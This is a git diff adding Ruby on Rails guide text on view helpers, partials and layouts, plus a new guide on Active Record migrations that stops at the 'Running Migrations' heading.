+If you're loading multiple JavaScript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify +:cache => true+ in your +javascript_include_tag+:
+
+<erb>
+<%= javascript_include_tag "main", "columns", :cache => true %>
+</erb>
+
+By default, the combined file will be delivered as +javascripts/all.js+. You can specify a location for the cached asset file instead:
+
+<erb>
+<%= javascript_include_tag "main", "columns",
+  :cache => "cache/main/display" %>
+</erb>
+
+You can even use dynamic paths such as +cache/#{current_site}/main/display+.
+
+h5. Linking to CSS Files with the +stylesheet_link_tag+
+
+The +stylesheet_link_tag+ helper returns an HTML +&lt;link&gt;+ tag for each source provided.
+
+If you are using Rails with the "Asset Pipeline" enabled, this helper will generate a link to +/assets/stylesheets/+. This link is then processed by the Sprockets gem. A stylesheet file can be stored in one of three locations: +app/assets+, +lib/assets+ or +vendor/assets+.
+
+You can specify a full path relative to the document root, or a URL. For example, to link to a stylesheet file that is inside a directory called +stylesheets+ inside of one of +app/assets+, +lib/assets+ or +vendor/assets+, you would do this:
+
+<erb>
+<%= stylesheet_link_tag "main" %>
+</erb>
+
+To include +app/assets/stylesheets/main.css+ and +app/assets/stylesheets/columns.css+:
+
+<erb>
+<%= stylesheet_link_tag "main", "columns" %>
+</erb>
+
+To include +app/assets/stylesheets/main.css+ and +app/assets/stylesheets/photos/columns.css+:
+
+<erb>
+<%= stylesheet_link_tag "main", "/photos/columns" %>
+</erb>
+
+To include +http://example.com/main.css+:
+
+<erb>
+<%= stylesheet_link_tag "http://example.com/main.css" %>
+</erb>
+
+By default, the +stylesheet_link_tag+ creates links with +media="screen" rel="stylesheet"+. You can override any of these defaults by specifying an appropriate option (+:media+, +:rel+):
+
+<erb>
+<%= stylesheet_link_tag "main_print", :media => "print" %>
+</erb>
+
+If the asset pipeline is disabled, the +all+ option links every CSS file in +public/stylesheets+:
+
+<erb>
+<%= stylesheet_link_tag :all %>
+</erb>
+
+You can supply the +:recursive+ option to link files in subfolders of +public/stylesheets+ as well:
+
+<erb>
+<%= stylesheet_link_tag :all, :recursive => true %>
+</erb>
+
+If you're loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify +:cache => true+ in your +stylesheet_link_tag+:
+
+<erb>
+<%= stylesheet_link_tag "main", "columns", :cache => true %>
+</erb>
+
+By default, the combined file will be delivered as +stylesheets/all.css+. You can specify a location for the cached asset file instead:
+
+<erb>
+<%= stylesheet_link_tag "main", "columns",
+  :cache => "cache/main/display" %>
+</erb>
+
+You can even use dynamic paths such as +cache/#{current_site}/main/display+.
+
+h5. Linking to Images with the +image_tag+
+
+The +image_tag+ helper builds an HTML +&lt;img /&gt;+ tag to the specified file. By default, files are loaded from +public/images+.
+
+WARNING: Note that you must specify the extension of the image. Previous versions of Rails would allow you to just use the image name and would append +.png+ if no extension was given but Rails 3.0 does not.
+
+<erb>
+<%= image_tag "header.png" %>
+</erb>
+
+You can supply a path to the image if you like:
+
+<erb>
+<%= image_tag "icons/delete.gif" %>
+</erb>
+
+You can supply a hash of additional HTML options:
+
+<erb>
+<%= image_tag "icons/delete.gif", {:height => 45} %>
+</erb>
+
+You can supply alternate text for the image which will be used if the user has images turned off in their browser. If you do not specify an alt text explicitly, it defaults to the file name of the file, capitalized and with no extension. For example, these two image tags would return the same code:
+
+<erb>
+<%= image_tag "home.gif" %>
+<%= image_tag "home.gif", :alt => "Home" %>
+</erb>
+
+You can also specify a special size tag, in the format "{width}x{height}":
+
+<erb>
+<%= image_tag "home.gif", :size => "50x20" %>
+</erb>
+
+In addition to the above special tags, you can supply a final hash of standard HTML options, such as +:class+, +:id+ or +:name+:
+
+<erb>
+<%= image_tag "home.gif", :alt => "Go Home",
+                          :id => "HomeImage",
+                          :class => "nav_bar" %>
+</erb>
+
+h5. Linking to Videos with the +video_tag+
+
+The +video_tag+ helper builds an HTML 5 +&lt;video&gt;+ tag to the specified file. By default, files are loaded from +public/videos+.
+
+<erb>
+<%= video_tag "movie.ogg" %>
+</erb>
+
+Produces
+
+<erb>
+<video src="/videos/movie.ogg" />
+</erb>
+
+Like an +image_tag+ you can supply a path, either absolute, or relative to the +public/videos+ directory. Additionally you can specify the +:size => "#{width}x#{height}"+ option just like an +image_tag+. Video tags can also have any of the HTML options specified at the end (+id+, +class+ et al).
+
+The video tag also supports all of the +&lt;video&gt;+ HTML options through the HTML options hash, including:
+
+* +:poster => "image_name.png"+, provides an image to put in place of the video before it starts playing.
+* +:autoplay => true+, starts playing the video on page load.
+* +:loop => true+, loops the video once it gets to the end.
+* +:controls => true+, provides browser supplied controls for the user to interact with the video.
+* +:autobuffer => true+, the video will pre load the file for the user on page load.
+
+You can also specify multiple videos to play by passing an array of videos to the +video_tag+:
+
+<erb>
+<%= video_tag ["trailer.ogg", "movie.ogg"] %>
+</erb>
+
+This will produce:
+
+<erb>
+<video><source src="trailer.ogg" /><source src="movie.ogg" /></video>
+</erb>
+
+h5. Linking to Audio Files with the +audio_tag+
+
+The +audio_tag+ helper builds an HTML 5 +&lt;audio&gt;+ tag to the specified file. By default, files are loaded from +public/audios+.
+
+<erb>
+<%= audio_tag "music.mp3" %>
+</erb>
+
+You can supply a path to the audio file if you like:
+
+<erb>
+<%= audio_tag "music/first_song.mp3" %>
+</erb>
+
+You can also supply a hash of additional options, such as +:id+, +:class+ etc.
+
+Like the +video_tag+, the +audio_tag+ has special options:
+
+* +:autoplay => true+, starts playing the audio on page load
+* +:controls => true+, provides browser supplied controls for the user to interact with the audio.
+* +:autobuffer => true+, the audio will pre load the file for the user on page load.
+
+h4. Understanding +yield+
+
+Within the context of a layout, +yield+ identifies a section where content from the view should be inserted. The simplest way to use this is to have a single +yield+, into which the entire contents of the view currently being rendered is inserted:
+
+<erb>
+<html>
+  <head>
+  </head>
+  <body>
+  <%= yield %>
+  </body>
+</html>
+</erb>
+
+You can also create a layout with multiple yielding regions:
+
+<erb>
+<html>
+  <head>
+  <%= yield :head %>
+  </head>
+  <body>
+  <%= yield %>
+  </body>
+</html>
+</erb>
+
+The main body of the view will always render into the unnamed +yield+. To render content into a named +yield+, you use the +content_for+ method.
+
+h4. Using the +content_for+ Method
+
+The +content_for+ method allows you to insert content into a named +yield+ block in your layout. For example, this view would work with the layout that you just saw:
+
+<erb>
+<% content_for :head do %>
+  <title>A simple page</title>
+<% end %>
+
+<p>Hello, Rails!</p>
+</erb>
+
+The result of rendering this page into the supplied layout would be this HTML:
+
+<erb>
+<html>
+  <head>
+  <title>A simple page</title>
+  </head>
+  <body>
+  <p>Hello, Rails!</p>
+  </body>
+</html>
+</erb>
+
+The +content_for+ method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific JavaScript or css files into the header of an otherwise generic layout.
+
+h4. Using Partials
+
+Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.
+
+h5. Naming Partials
+
+To render a partial as part of a view, you use the +render+ method within the view:
+
+<ruby>
+<%= render "menu" %>
+</ruby>
+
+This will render a file named +_menu.html.erb+ at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
+
+<ruby>
+<%= render "shared/menu" %>
+</ruby>
+
+That code will pull in the partial from +app/views/shared/_menu.html.erb+.
+
+h5. Using Partials to Simplify Views
+
+One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:
+
+<erb>
+<%= render "shared/ad_banner" %>
+
+<h1>Products</h1>
+
+<p>Here are a few of our fine products:</p>
+...
+
+<%= render "shared/footer" %>
+</erb>
+
+Here, the +_ad_banner.html.erb+ and +_footer.html.erb+ partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
+
+TIP: For content that is shared among all pages in your application, you can use partials directly from layouts.
+
+h5. Partial Layouts
+
+A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:
+
+<erb>
+<%= render :partial => "link_area", :layout => "graybar" %>
+</erb>
+
+This would look for a partial named +_link_area.html.erb+ and render it using the layout +_graybar.html.erb+. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master +layouts+ folder).
+
+Also note that explicitly specifying +:partial+ is required when passing additional options such as +:layout+.
+
+h5. Passing Local Variables
+
+You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:
+
+* +new.html.erb+
+
+<erb>
+<h1>New zone</h1>
+<%= error_messages_for :zone %>
+<%= render :partial => "form", :locals => { :zone => @zone } %>
+</erb>
+
+* +edit.html.erb+
+
+<erb>
+<h1>Editing zone</h1>
+<%= error_messages_for :zone %>
+<%= render :partial => "form", :locals => { :zone => @zone } %>
+</erb>
+
+* +_form.html.erb+
+
+<erb>
+<%= form_for(zone) do |f| %>
+  <p>
+    <b>Zone name</b><br />
+    <%= f.text_field :name %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+</erb>
+
+Although the same partial will be rendered into both views, Action View's submit helper will return "Create Zone" for the new action and "Update Zone" for the edit action.
+
+Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the +:object+ option:
+
+<erb>
+<%= render :partial => "customer", :object => @new_customer %>
+</erb>
+
+Within the +customer+ partial, the +customer+ variable will refer to +@new_customer+ from the parent view.
+
+WARNING: In previous versions of Rails, the default local variable would look for an instance variable with the same name as the partial in the parent. This behavior was deprecated in 2.3 and has been removed in Rails 3.0.
+
+If you have an instance of a model to render into a partial, you can use a shorthand syntax:
+
+<erb>
+<%= render @customer %>
+</erb>
+
+Assuming that the +@customer+ instance variable contains an instance of the +Customer+ model, this will use +_customer.html.erb+ to render it and will pass the local variable +customer+ into the partial which will refer to the +@customer+ instance variable in the parent view.
+
+h5. Rendering Collections
+
+Partials are very useful in rendering collections. When you pass a collection to a partial via the +:collection+ option, the partial will be inserted once for each member in the collection:
+
+* +index.html.erb+
+
+<erb>
+<h1>Products</h1>
+<%= render :partial => "product", :collection => @products %>
+</erb>
+
+* +_product.html.erb+
+
+<erb>
+<p>Product Name: <%= product.name %></p>
+</erb>
+
+When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is +_product+, and within the +_product+ partial, you can refer to +product+ to get the instance that is being rendered.
+
+In Rails 3.0, there is also a shorthand for this. Assuming +@products+ is a collection of +product+ instances, you can simply write this in the +index.html.erb+ to produce the same result:
+
+<erb>
+<h1>Products</h1>
+<%= render @products %>
+</erb>
+
+Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:
+
+* +index.html.erb+
+
+<erb>
+<h1>Contacts</h1>
+<%= render [customer1, employee1, customer2, employee2] %>
+</erb>
+
+* +customers/_customer.html.erb+
+
+<erb>
+<p>Customer: <%= customer.name %></p>
+</erb>
+
+* +employees/_employee.html.erb+
+
+<erb>
+<p>Employee: <%= employee.name %></p>
+</erb>
+
+In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.
+
+In the event that the collection is empty, +render+ will return nil, so it should be fairly simple to provide alternative content.
+
+<erb>
+<h1>Products</h1>
+<%= render(@products) || "There are no products available." %>
+</erb>
+
+h5. Local Variables
+
+To use a custom local variable name within the partial, specify the +:as+ option in the call to the partial:
+
+<erb>
+<%= render :partial => "product", :collection => @products, :as => :item %>
+</erb>
+
+With this change, you can access an instance of the +@products+ collection as the +item+ local variable within the partial.
+
+You can also pass in arbitrary local variables to any partial you are rendering with the +:locals => {}+ option:
+
+<erb>
+<%= render :partial => "products", :collection => @products,
+           :as => :item, :locals => {:title => "Products Page"} %>
+</erb>
+
+Would render a partial +_products.html.erb+ once for each instance of +product+ in the +@products+ instance variable passing the instance to the partial as a local variable called +item+ and to each partial, make the local variable +title+ available with the value +Products Page+.
+
+TIP: Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by +_counter+. For example, if you're rendering +@products+, within the partial you can refer to +product_counter+ to tell you how many times the partial has been rendered. This does not work in conjunction with the +:as => :value+ option.
+
+You can also specify a second partial to be rendered between instances of the main partial by using the +:spacer_template+ option:
+
+h5. Spacer Templates
+
+<erb>
+<%= render :partial => @products, :spacer_template => "product_ruler" %>
+</erb>
+
+Rails will render the +_product_ruler+ partial (with no data passed in to it) between each pair of +_product+ partials.
+
+h5. Partial Layouts
+
+When rendering collections it is also possible to use the +:layout+ option:
+
+<erb>
+<%= render :partial => "product", :collection => @products, :layout => "special_layout" %>
+</erb>
+
+The layout will be rendered together with the partial for each item in the collection. The current object and object_counter variables will be available in the layout as well, the same way they do within the partial.
+
+h4. Using Nested Layouts
+
+You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here's an example:
+
+Suppose you have the following +ApplicationController+ layout:
+
+* +app/views/layouts/application.html.erb+
+
+<erb>
+<html>
+<head>
+  <title><%= @page_title or "Page Title" %></title>
+  <%= stylesheet_link_tag "layout" %>
+  <style><%= yield :stylesheets %></style>
+</head>
+<body>
+  <div id="top_menu">Top menu items here</div>
+  <div id="menu">Menu items here</div>
+  <div id="content"><%= content_for?(:content) ? yield(:content) : yield %></div>
+</body>
+</html>
+</erb>
+
+On pages generated by +NewsController+, you want to hide the top menu and add a right menu:
+
+* +app/views/layouts/news.html.erb+
+
+<erb>
+<% content_for :stylesheets do %>
+  #top_menu {display: none}
+  #right_menu {float: right; background-color: yellow; color: black}
+<% end %>
+<% content_for :content do %>
+  <div id="right_menu">Right menu items here</div>
+  <%= content_for?(:news_content) ? yield(:news_content) : yield %>
+<% end %>
+<%= render :template => "layouts/application" %>
+</erb>
+
+That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div.
+
+There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render :template => 'layouts/news'+ to base a new layout on the News layout. If you are sure you will not subtemplate the +News+ layout, you can replace the +content_for?(:news_content) ? yield(:news_content) : yield+ with simply +yield+.
diff --git a/guides/source/migrations.textile b/guides/source/migrations.textile
new file mode 100644
index 0000000000..06e85e5914
--- /dev/null
+++ b/guides/source/migrations.textile
@@ -0,0 +1,978 @@
+h2. Migrations
+
+Migrations are a convenient way for you to alter your database in a structured
+and organized manner. You could edit fragments of SQL by hand but you would then
+be responsible for telling other developers that they need to go and run them.
+You'd also have to keep track of which changes need to be run against the
+production machines next time you deploy.
+
+Active Record tracks which migrations have already been run so all you have to
+do is update your source and run +rake db:migrate+. Active Record will work out
+which migrations should be run. Active Record will also update your +db/schema.rb+ file to match the up-to-date structure of your database.
+
+Migrations also allow you to describe these transformations using Ruby. The
+great thing about this is that (like most of Active Record's functionality) it
+is database independent: you don't need to worry about the precise syntax of
++CREATE TABLE+ any more than you worry about variations on +SELECT *+ (you can
+drop down to raw SQL for database specific features). For example you could use
+SQLite3 in development, but MySQL in production.
+
+In this guide, you'll learn all about migrations including:
+
+* The generators you can use to create them
+* The methods Active Record provides to manipulate your database
+* The Rake tasks that manipulate them
+* How they relate to +schema.rb+
+
+endprologue.
+
+h3. Anatomy of a Migration
+
+Before we dive into the details of a migration, here are a few examples of the
+sorts of things you can do:
+
+<ruby>
+class CreateProducts < ActiveRecord::Migration
+  def up
+    create_table :products do |t|
+      t.string :name
+      t.text :description
+
+      t.timestamps
+    end
+  end
+
+  def down
+    drop_table :products
+  end
+end
+</ruby>
+
+This migration adds a table called +products+ with a string column called +name+
+and a text column called +description+. A primary key column called +id+ will
+also be added, however since this is the default we do not need to explicitly specify it.
+The timestamp columns +created_at+ and +updated_at+ which Active Record
+populates automatically will also be added. Reversing this migration is as
+simple as dropping the table.
+
+Migrations are not limited to changing the schema. You can also use them to fix
+bad data in the database or populate new fields:
+
+<ruby>
+class AddReceiveNewsletterToUsers < ActiveRecord::Migration
+  def up
+    change_table :users do |t|
+      t.boolean :receive_newsletter, :default => false
+    end
+    User.update_all :receive_newsletter => true
+  end
+
+  def down
+    remove_column :users, :receive_newsletter
+  end
+end
+</ruby>
+
+NOTE: Some "caveats":#using-models-in-your-migrations apply to using models in
+your migrations.
+
+This migration adds a +receive_newsletter+ column to the +users+ table. We want
+it to default to +false+ for new users, but existing users are considered to
+have already opted in, so we use the User model to set the flag to +true+ for
+existing users.
+
+h4. Using the change method
+
+Rails 3.1 makes migrations smarter by providing a new <tt>change</tt> method.
+This method is preferred for writing constructive migrations (adding columns or
+tables). The migration knows how to migrate your database and reverse it when
+the migration is rolled back without the need to write a separate +down+ method.
+
+<ruby>
+class CreateProducts < ActiveRecord::Migration
+  def change
+    create_table :products do |t|
+      t.string :name
+      t.text :description
+
+      t.timestamps
+    end
+  end
+end
+</ruby>
+
+h4. Migrations are Classes
+
+A migration is a subclass of <tt>ActiveRecord::Migration</tt> that implements
+two methods: +up+ (perform the required transformations) and +down+ (revert
+them).
+
+Active Record provides methods that perform common data definition tasks in a
+database independent way (you'll read about them in detail later):
+
+* +add_column+
+* +add_reference+
+* +add_index+
+* +change_column+
+* +change_table+
+* +create_table+
+* +create_join_table+
+* +drop_table+
+* +remove_column+
+* +remove_index+
+* +rename_column+
+* +remove_reference+
+
+If you need to perform tasks specific to your database (for example create a
+"foreign key":#active-record-and-referential-integrity constraint) then the
++execute+ method allows you to execute arbitrary SQL. A migration is just a
+regular Ruby class so you're not limited to these functions. For example after
+adding a column you could write code to set the value of that column for
+existing records (if necessary using your models).
+
+On databases that support transactions with statements that change the schema
+(such as PostgreSQL or SQLite3), migrations are wrapped in a transaction. If the
+database does not support this (for example MySQL) then when a migration fails
+the parts of it that succeeded will not be rolled back. You will have to rollback
+the changes that were made by hand.
+
+h4. What's in a Name
+
+Migrations are stored as files in the +db/migrate+ directory, one for each
+migration class. The name of the file is of the form
++YYYYMMDDHHMMSS_create_products.rb+, that is to say a UTC timestamp
+identifying the migration followed by an underscore followed by the name
+of the migration. The name of the migration class (CamelCased version)
+should match the latter part of the file name. For example
++20080906120000_create_products.rb+ should define class +CreateProducts+ and
++20080906120001_add_details_to_products.rb+ should define
++AddDetailsToProducts+. If you do feel the need to change the file name then you
+<em>have to</em> update the name of the class inside or Rails will complain
+about a missing class.
+
+Internally Rails only uses the migration's number (the timestamp) to identify
+them. Prior to Rails 2.1 the migration number started at 1 and was incremented
+each time a migration was generated. With multiple developers it was easy for
+these to clash requiring you to rollback migrations and renumber them. With
+Rails 2.1+ this is largely avoided by using the creation time of the migration
+to identify them. You can revert to the old numbering scheme by adding the
+following line to +config/application.rb+.
+
+<ruby>
+config.active_record.timestamped_migrations = false
+</ruby>
+
+The combination of timestamps and recording which migrations have been run
+allows Rails to handle common situations that occur with multiple developers.
+
+For example Alice adds migrations +20080906120000+ and +20080906123000+ and Bob
+adds +20080906124500+ and runs it. Alice finishes her changes and checks in her
+migrations and Bob pulls down the latest changes. When Bob runs +rake db:migrate+,
+Rails knows that it has not run Alice's two migrations so it executes the +up+ method for each migration.
+
+Of course this is no substitution for communication within the team. For
+example, if Alice's migration removed a table that Bob's migration assumed to
+exist, then trouble would certainly strike.
+
+h4. Changing Migrations
+
+Occasionally you will make a mistake when writing a migration. If you have
+already run the migration then you cannot just edit the migration and run the
+migration again: Rails thinks it has already run the migration and so will do
+nothing when you run +rake db:migrate+. You must rollback the migration (for
+example with +rake db:rollback+), edit your migration and then run +rake db:migrate+ to run the corrected version.
+
+In general editing existing migrations is not a good idea: you will be creating
+extra work for yourself and your co-workers and cause major headaches if the
+existing version of the migration has already been run on production machines.
+Instead, you should write a new migration that performs the changes you require.
+Editing a freshly generated migration that has not yet been committed to source
+control (or, more generally, which has not been propagated beyond your
+development machine) is relatively harmless.
+
+h4. Supported Types
+
+Active Record supports the following database column types:
+
+* +:binary+
+* +:boolean+
+* +:date+
+* +:datetime+
+* +:decimal+
+* +:float+
+* +:integer+
+* +:primary_key+
+* +:string+
+* +:text+
+* +:time+
+* +:timestamp+
+
+These will be mapped onto an appropriate underlying database type. For example,
+with MySQL the type +:string+ is mapped to +VARCHAR(255)+. You can create
+columns of types not supported by Active Record when using the non-sexy syntax,
+for example
+
+<ruby>
+create_table :products do |t|
+  t.column :name, 'polygon', :null => false
+end
+</ruby>
+
+This may however hinder portability to other databases.
+
+h3. Creating a Migration
+
+h4. Creating a Model
+
+The model and scaffold generators will create migrations appropriate for adding
+a new model. This migration will already contain instructions for creating the
+relevant table. If you tell Rails what columns you want, then statements for
+adding these columns will also be created. For example, running
+
+<shell>
+$ rails generate model Product name:string description:text
+</shell>
+
+will create a migration that looks like this
+
+<ruby>
+class CreateProducts < ActiveRecord::Migration
+  def change
+    create_table :products do |t|
+      t.string :name
+      t.text :description
+
+      t.timestamps
+    end
+  end
+end
+</ruby>
+
+You can append as many column name/type pairs as you want. By default, the
+generated migration will include +t.timestamps+ (which creates the
++updated_at+ and +created_at+ columns that are automatically populated
+by Active Record).
+
+h4. Creating a Standalone Migration
+
+If you are creating migrations for other purposes (for example to add a column
+to an existing table) then you can also use the migration generator:
+
+<shell>
+$ rails generate migration AddPartNumberToProducts
+</shell>
+
+This will create an empty but appropriately named migration:
+
+<ruby>
+class AddPartNumberToProducts < ActiveRecord::Migration
+  def change
+  end
+end
+</ruby>
+
+If the migration name is of the form "AddXXXToYYY" or "RemoveXXXFromYYY" and is
+followed by a list of column names and types then a migration containing the
+appropriate +add_column+ and +remove_column+ statements will be created.
+
+<shell>
+$ rails generate migration AddPartNumberToProducts part_number:string
+</shell>
+
+will generate
+
+<ruby>
+class AddPartNumberToProducts < ActiveRecord::Migration
+  def change
+    add_column :products, :part_number, :string
+  end
+end
+</ruby>
+
+Similarly,
+
+<shell>
+$ rails generate migration RemovePartNumberFromProducts part_number:string
+</shell>
+
+generates
+
+<ruby>
+class RemovePartNumberFromProducts < ActiveRecord::Migration
+  def up
+    remove_column :products, :part_number
+  end
+
+  def down
+    add_column :products, :part_number, :string
+  end
+end
+</ruby>
+
+You are not limited to one magically generated column, for example
+
+<shell>
+$ rails generate migration AddDetailsToProducts part_number:string price:decimal
+</shell>
+
+generates
+
+<ruby>
+class AddDetailsToProducts < ActiveRecord::Migration
+  def change
+    add_column :products, :part_number, :string
+    add_column :products, :price, :decimal
+  end
+end
+</ruby>
+
+As always, what has been generated for you is just a starting point. You can add
+or remove from it as you see fit by editing the
+db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb file.
+
+NOTE: The generated migration file for destructive migrations will still be
+old-style using the +up+ and +down+ methods. This is because Rails needs to know
+the original data types defined when you made the original changes.
+
+Also the generator accepts column type as +references+(also available as +belongs_to+), for instance
+
+<shell>
+$ rails generate migration AddUserRefToProducts user:references
+</shell>
+
+generates
+
+<ruby>
+class AddUserRefToProducts < ActiveRecord::Migration
+  def change
+    add_reference :products, :user, :index => true
+  end
+end
+</ruby>
+
+This migration will create a user_id column and appropriate index.
+
+h4. Supported type modifiers
+
+You can also specify some options just after the field type between curly braces. You can use the
+following modifiers:
+
+* +limit+        Sets the maximum size of the +string/text/binary/integer+ fields
+* +precision+    Defines the precision for the +decimal+ fields
+* +scale+        Defines the scale for the +decimal+ fields
+* +polymorphic+  Adds a +type+ column for +belongs_to+ associations
+
+For instance running
+
+<shell>
+$ rails generate migration AddDetailsToProducts price:decimal{5,2} supplier:references{polymorphic}
+</shell>
+
+will produce a migration that looks like this
+
+<ruby>
+class AddDetailsToProducts < ActiveRecord::Migration
+  def change
+		add_column :products, :price, :precision => 5, :scale => 2
+    add_reference :products, :user, :polymorphic => true, :index => true
+  end
+end
+</ruby>
+
+h3. Writing a Migration
+
+Once you have created your migration using one of the generators it's time to
+get to work!
+
+h4. Creating a Table
+
+Migration method +create_table+ will be one of your workhorses. A typical use
+would be
+
+<ruby>
+create_table :products do |t|
+  t.string :name
+end
+</ruby>
+
+which creates a +products+ table with a column called +name+ (and as discussed
+below, an implicit +id+ column).
+
+The object yielded to the block allows you to create columns on the table. There
+are two ways of doing it. The first (traditional) form looks like
+
+<ruby>
+create_table :products do |t|
+  t.column :name, :string, :null => false
+end
+</ruby>
+
+The second form, the so called "sexy" migration, drops the somewhat redundant
++column+ method. Instead, the +string+, +integer+, etc. methods create a column
+of that type. Subsequent parameters are the same.
+
+<ruby>
+create_table :products do |t|
+  t.string :name, :null => false
+end
+</ruby>
+
+By default, +create_table+ will create a primary key called +id+. You can change
+the name of the primary key with the +:primary_key+ option (don't forget to
+update the corresponding model) or, if you don't want a primary key at all (for
+example for a HABTM join table), you can pass the option +:id => false+. If you
+need to pass database specific options you can place an SQL fragment in the
++:options+ option. For example,
+
+<ruby>
+create_table :products, :options => "ENGINE=BLACKHOLE" do |t|
+  t.string :name, :null => false
+end
+</ruby>
+
+will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table
+(when using MySQL, the default is +ENGINE=InnoDB+).
+
+h4. Creating a Join Table
+
+Migration method +create_join_table+ creates a HABTM join table. A typical use
+would be
+
+<ruby>
+create_join_table :products, :categories
+</ruby>
+
+which creates a +categories_products+ table with two columns called +category_id+ and +product_id+.
+These columns have the option +:null+ set to +false+ by default.
+
+You can pass the option +:table_name+ with you want to customize the table name. For example,
+
+<ruby>
+create_join_table :products, :categories, :table_name => :categorization
+</ruby>
+
+will create a +categorization+ table.
+
+By default, +create_join_table+ will create two columns with no options, but you can specify these
+options using the +:column_options+ option. For example,
+
+<ruby>
+create_join_table :products, :categories, :column_options => {:null => true}
+</ruby>
+
+will create the +product_id+ and +category_id+ with the +:null+ option as +true+.
+
+h4. Changing Tables
+
+A close cousin of +create_table+ is +change_table+, used for changing existing
+tables. It is used in a similar fashion to +create_table+ but the object yielded
+to the block knows more tricks. For example
+
+<ruby>
+change_table :products do |t|
+  t.remove :description, :name
+  t.string :part_number
+  t.index :part_number
+  t.rename :upccode, :upc_code
+end
+</ruby>
+
+removes the +description+ and +name+ columns, creates a +part_number+ string
+column and adds an index on it. Finally it renames the +upccode+ column.
+
+h4. Special Helpers
+
+Active Record provides some shortcuts for common functionality. It is for
+example very common to add both the +created_at+ and +updated_at+ columns and so
+there is a method that does exactly that:
+
+<ruby>
+create_table :products do |t|
+  t.timestamps
+end
+</ruby>
+
+will create a new products table with those two columns (plus the +id+ column)
+whereas
+
+<ruby>
+change_table :products do |t|
+  t.timestamps
+end
+</ruby>
+adds those columns to an existing table.
+
+Another helper is called +references+ (also available as +belongs_to+). In its
+simplest form it just adds some readability.
+
+<ruby>
+create_table :products do |t|
+  t.references :category
+end
+</ruby>
+
+will create a +category_id+ column of the appropriate type. Note that you pass
+the model name, not the column name. Active Record adds the +_id+ for you. If
+you have polymorphic +belongs_to+ associations then +references+ will add both
+of the columns required:
+
+<ruby>
+create_table :products do |t|
+  t.references :attachment, :polymorphic => {:default => 'Photo'}
+end
+</ruby>
+
+will add an +attachment_id+ column and a string +attachment_type+ column with
+a default value of 'Photo'. +references+ also allows you to define an
+index directly, instead of using +add_index+ after the +create_table+ call:
+
+<ruby>
+create_table :products do |t|
+  t.references :category, :index => true
+end
+</ruby>
+
+will create an index identical to calling `add_index :products, :category_id`.
+
+NOTE: The +references+ helper does not actually create foreign key constraints
+for you. You will need to use +execute+ or a plugin that adds "foreign key
+support":#active-record-and-referential-integrity.
+
+If the helpers provided by Active Record aren't enough you can use the +execute+
+method to execute arbitrary SQL.
+
+For more details and examples of individual methods, check the API documentation,
+in particular the documentation for
+"<tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html
+(which provides the methods available in the +up+ and +down+ methods),
+"<tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html
+(which provides the methods available on the object yielded by +create_table+)
+and
+"<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html
+(which provides the methods available on the object yielded by +change_table+).
+
+h4. Using the +change+ Method
+
+The +change+ method removes the need to write both +up+ and +down+ methods in
+those cases that Rails knows how to revert the changes automatically. Currently,
+the +change+ method supports only these migration definitions:
+
+* +add_column+
+* +add_index+
+* +add_timestamps+
+* +create_table+
+* +remove_timestamps+
+* +rename_column+
+* +rename_index+
+* +rename_table+
+
+If you're going to need to use any other methods, you'll have to write the
++up+ and +down+ methods instead of using the +change+ method.
+
+h4. Using the +up+/+down+ Methods
+
+The +down+ method of your migration should revert the transformations done by
+the +up+ method. In other words, the database schema should be unchanged if you
+do an +up+ followed by a +down+. For example, if you create a table in the +up+
+method, you should drop it in the +down+ method. It is wise to reverse the
+transformations in precisely the reverse order they were made in the +up+
+method. For example,
+
+<ruby>
+class ExampleMigration < ActiveRecord::Migration
+  def up
+    create_table :products do |t|
+      t.references :category
+    end
+    #add a foreign key
+    execute <<-SQL
+      ALTER TABLE products
+        ADD CONSTRAINT fk_products_categories
+        FOREIGN KEY (category_id)
+        REFERENCES categories(id)
+    SQL
+    add_column :users, :home_page_url, :string
+    rename_column :users, :email, :email_address
+  end
+
+  def down
+    rename_column :users, :email_address, :email
+    remove_column :users, :home_page_url
+    execute <<-SQL
+      ALTER TABLE products
+        DROP FOREIGN KEY fk_products_categories
+    SQL
+    drop_table :products
+  end
+end
+</ruby>
+
+Sometimes your migration will do something which is just plain irreversible; for
+example, it might destroy some data. In such cases, you can raise
++ActiveRecord::IrreversibleMigration+ from your +down+ method. If someone tries
+to revert your migration, an error message will be displayed saying that it
+can't be done.
+
+h3. Running Migrations
+
